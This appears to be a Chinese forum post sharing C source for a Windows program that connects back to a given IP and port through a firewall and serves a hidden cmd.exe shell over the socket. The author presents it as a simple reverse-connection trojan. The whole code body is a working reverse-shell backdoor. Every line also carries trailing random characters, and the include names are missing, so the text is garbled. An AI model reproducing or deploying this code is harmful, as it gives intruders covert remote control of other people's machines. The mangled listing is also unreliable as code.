这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TIDO@NwF
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/* ============================== hn@08t G
Rebound port in Windows NT cV6D<,)
By wind,2006/7 ED gag
===============================*/ .`eN8Dl1
#include Dz/ "M=
#include K\r8g=U
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#pragma comment(lib,"wsock32.lib") .L~AL|2_
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void OutputShell(); 2/^3WY1U
SOCKET sClient; </zEg3F\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C,r;VyW6BI
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void main(int argc,char **argv) U8?mc
{ (L&d!$,Dv
WSADATA stWsaData; [z{1*Xc
int nRet; g!|kp?
SOCKADDR_IN stSaiClient,stSaiServer; 9Y9GwL]T
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if(argc != 3) #;yZ
{ =;
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printf("Useage:\n\rRebound DestIP DestPort\n"); N4!O.POP
return; Ti5-6%~&
} 6H$FhJF
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6cXyJW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I\ob7X'Xu!
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stSaiClient.sin_family = AF_INET; NXrlk
stSaiClient.sin_port = htons(0); rEWb"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &h/Xku&0
#\OA )`U
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h2R::/2.
{ GD$l||8
printf("Bind Socket Failed!\n"); f]CXu3w(J
return; Fx.=#bVX7
} q_58;Bv
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stSaiServer.sin_family = AF_INET; xb8!B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `|q(h Ow2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~]2K^bh8&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?e 4/p
{ 5\nAeP
printf("Connect Error!"); F )eelPZ+,
return; 4V`G,W4^J
} G"t5nHY\.
OutputShell(); a:w#s}bL
} &^jXEz;
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void OutputShell() G 3ptx!
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{ 9%9#_?RW
char szBuff[1024]; bk[!8-b/a
SECURITY_ATTRIBUTES stSecurityAttributes; NzvXN1_%
OSVERSIONINFO stOsversionInfo; +I28|*K"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \9T7A&
STARTUPINFO stStartupInfo; K$=zi}J W
char *szShell; 6'f;-2
PROCESS_INFORMATION stProcessInformation; #H~64/
unsigned long lBytesRead; mC#>33{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y:uE3Apm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); abVmkdP_s
stSecurityAttributes.lpSecurityDescriptor = 0; eHUOU>&P]
stSecurityAttributes.bInheritHandle = TRUE; K[YyBEid
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1'Dai `
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G3T]`Atf
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q"#J6@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JBZ@'8eqi]
stStartupInfo.wShowWindow = SW_HIDE; WcGS9`m/
stStartupInfo.hStdInput = hReadPipe; @=u3ZVD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JucY[`|JV
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GetVersionEx(&stOsversionInfo); OY({.uV dX
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switch(stOsversionInfo.dwPlatformId) E]r?{t`]
{ w0unS`\4
case 1: r3?o9D>
szShell = "command.com"; YS_;OFsd
break; ^iYj[~
default: Wd
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szShell = "cmd.exe"; *LY8D<:zs
break; Z;"vW!%d
} f|(M.U-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x,'!gT:j
\~ wMfP8
send(sClient,szMsg,77,0); $ ocdI5
while(1) 9lE_nc
{ klhtKp_p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F:DrX_O%
if(lBytesRead) _)-o1`*-
{ FpU>^'2]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d #wVLmKZ
send(sClient,szBuff,lBytesRead,0); q@2siI~W
} f*8DCh!r"
else /Z4et'Lo
{ ?aMOZn?
lBytesRead=recv(sClient,szBuff,1024,0); d/@,@8:
if(lBytesRead<=0) break; <OPArht
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <#HYqR',
} }<:}XlwT%
} /qw.p#
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return; 1h5 Akq
}